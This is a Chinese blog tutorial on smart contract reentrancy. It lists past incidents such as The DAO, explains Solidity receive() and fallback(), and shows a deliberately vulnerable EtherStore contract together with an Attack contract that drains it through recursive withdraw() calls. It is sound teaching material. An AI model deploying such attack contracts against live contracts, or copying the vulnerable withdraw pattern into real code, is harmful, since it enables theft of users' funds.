searchusermenu
  • 发布文章
  • 消息中心
点赞
收藏
评论
分享
原创

智能合约漏洞-重入漏洞分析

2024-08-21 09:43:15
9
0

历史上发生重入漏洞的重大事件

  • 2016年,The DAO合约被重入攻击,被盗取3,600,000枚ETH。从而导致了以太坊进行硬分叉,分叉成以太坊和以太坊经典
  • 2019年,合成资产平台 Synthetix 遭受重入攻击,被盗 3,700,000 枚  sETH 
  • 2020年,借贷平台  Lendf.me  遭受重入攻击,被盗 $25,000,000。
  • 2021年,借贷平台 CREAM FINANCE 遭受重入攻击,被盗 $18,800,000。
  • 2022年,算法稳定币项目 Fei 遭受重入攻击,被盗 $80,000,000。

 

重入漏洞需要注意的点:

转账ETH的目标地址如果是合约,会触发对方合约的fallback(回退)函数,从而造成循环调用的可能。此时需要注意两个函数:receive()、fallback()
接收ETH函数 receive
receive()函数是在合约接收ETH时被调用任何的函数。一个合约最多有一个receive()函数,声明方式与一般函数不一样,不需要function关键字:receive() external payable { ... }。receive()函数不能有的参数,不能返回任何值,必须包含external和payable。
 
回退函数fallback
fallback()函数会在调用合约不存在的函数时被触发。可用于接收ETH,也可以用于代理合约。此时声明不需要proxy contract关键字fallback(),function必须由external修饰符,一般也可以用payable修饰符,用于接收ETH: fallback() external payable { ... }。
 
注:receive()和payable fallback()均不存在的时候,向合约直接发送ETH将会报错(但仍然可以通过带标签payable的函数向合约发送ETH)。
 
 
做一个例子如下:
 
触发fallback() 还是 receive()?
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()
 
 

代码解释:

以下是一段带有重入漏洞的solidity漏洞代码:
 
 
 contract EtherStore { 
     mapping(address => uint) public balances; 


     function deposit() public payable { 
         balances[msg.sender] += msg.value; 
     } 


     function withdraw() public { 
         uint bal = balances[msg.sender]; 
         require(bal > 0); 


         (bool sent,) = msg.sender.call{value: bal}(""); // Vulnerability of re-entrancy 
         require(sent, "Failed to send Ether"); 


         balances[msg.sender] = 0; 
     } 


     // Helper function to check the balance of this contract 
     function getBalance() public view returns (uint) { 
         return address(this).balance; 
     } 
 } 

 

可以看到以上合约deposit()合约接收以太币(带payable),此时用户可通过withdraw()函数进行提款。以上代码通过require(bal > 0);用以判断用户余额是否 >0 ,如果>0便可进行提款,提款完成后再进行变更用户余额,此时攻击者可通过发送一个不存在receive()的攻击合约无限提款,直至目标合约存款为0,攻击者合约如下:

 

 // SPDX-License-Identifier: MIT 
 pragma solidity 0.8.0; 


 import "./test.sol"; 


 contract Attack { 
     EtherStore public etherStore; 
     //注意要用payable修饰 
     constructor(address payable _etherStoreAddress) { 
         etherStore = EtherStore(_etherStoreAddress); 
     } 


     // Fallback is called when EtherStore sends Ether to this contract. 
     fallback() external payable { 
         if (address(etherStore).balance >= 1 ether) { 
             etherStore.withdraw(); 
         } 
     } 


     function attack() external payable { 
         require(msg.value == 2 ether); 
         etherStore.deposit{value: 2 ether}(); 
         etherStore.withdraw(); // go to fallback 
     } 


     // Helper function to check the balance of this contract 
     function getBalance() public view returns (uint) { 
         return address(this).balance; 
     } 
 } 

 

 

0条评论
作者已关闭评论
baymax123
1文章数
0粉丝数
baymax123
1 文章 | 0 粉丝
baymax123
1文章数
0粉丝数
baymax123
1 文章 | 0 粉丝
原创

智能合约漏洞-重入漏洞分析

2024-08-21 09:43:15
9
0

历史上发生重入漏洞的重大事件

  • 2016年,The DAO合约被重入攻击,被盗取3,600,000枚ETH。从而导致了以太坊进行硬分叉,分叉成以太坊和以太坊经典
  • 2019年,合成资产平台 Synthetix 遭受重入攻击,被盗 3,700,000 枚  sETH 
  • 2020年,借贷平台  Lendf.me  遭受重入攻击,被盗 $25,000,000。
  • 2021年,借贷平台 CREAM FINANCE 遭受重入攻击,被盗 $18,800,000。
  • 2022年,算法稳定币项目 Fei 遭受重入攻击,被盗 $80,000,000。

 

重入漏洞需要注意的点:

转账ETH的目标地址如果是合约,会触发对方合约的fallback(回退)函数,从而造成循环调用的可能。此时需要注意两个函数:receive()、fallback()
接收ETH函数 receive
receive()函数是在合约接收ETH时被调用任何的函数。一个合约最多有一个receive()函数,声明方式与一般函数不一样,不需要function关键字:receive() external payable { ... }。receive()函数不能有的参数,不能返回任何值,必须包含external和payable。
 
回退函数fallback
fallback()函数会在调用合约不存在的函数时被触发。可用于接收ETH,也可以用于代理合约。此时声明不需要proxy contract关键字fallback(),function必须由external修饰符,一般也可以用payable修饰符,用于接收ETH: fallback() external payable { ... }。
 
注:receive()和payable fallback()均不存在的时候,向合约直接发送ETH将会报错(但仍然可以通过带标签payable的函数向合约发送ETH)。
 
 
做一个例子如下:
 
触发fallback() 还是 receive()?
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()
 
 

代码解释:

以下是一段带有重入漏洞的solidity漏洞代码:
 
 
 contract EtherStore { 
     mapping(address => uint) public balances; 


     function deposit() public payable { 
         balances[msg.sender] += msg.value; 
     } 


     function withdraw() public { 
         uint bal = balances[msg.sender]; 
         require(bal > 0); 


         (bool sent,) = msg.sender.call{value: bal}(""); // Vulnerability of re-entrancy 
         require(sent, "Failed to send Ether"); 


         balances[msg.sender] = 0; 
     } 


     // Helper function to check the balance of this contract 
     function getBalance() public view returns (uint) { 
         return address(this).balance; 
     } 
 } 

 

可以看到以上合约deposit()合约接收以太币(带payable),此时用户可通过withdraw()函数进行提款。以上代码通过require(bal > 0);用以判断用户余额是否 >0 ,如果>0便可进行提款,提款完成后再进行变更用户余额,此时攻击者可通过发送一个不存在receive()的攻击合约无限提款,直至目标合约存款为0,攻击者合约如下:

 

 // SPDX-License-Identifier: MIT 
 pragma solidity 0.8.0; 


 import "./test.sol"; 


 contract Attack { 
     EtherStore public etherStore; 
     //注意要用payable修饰 
     constructor(address payable _etherStoreAddress) { 
         etherStore = EtherStore(_etherStoreAddress); 
     } 


     // Fallback is called when EtherStore sends Ether to this contract. 
     fallback() external payable { 
         if (address(etherStore).balance >= 1 ether) { 
             etherStore.withdraw(); 
         } 
     } 


     function attack() external payable { 
         require(msg.value == 2 ether); 
         etherStore.deposit{value: 2 ether}(); 
         etherStore.withdraw(); // go to fallback 
     } 


     // Helper function to check the balance of this contract 
     function getBalance() public view returns (uint) { 
         return address(this).balance; 
     } 
 } 

 

 

文章来自个人专栏
文章 | 订阅
0条评论
作者已关闭评论
作者已关闭评论
0
0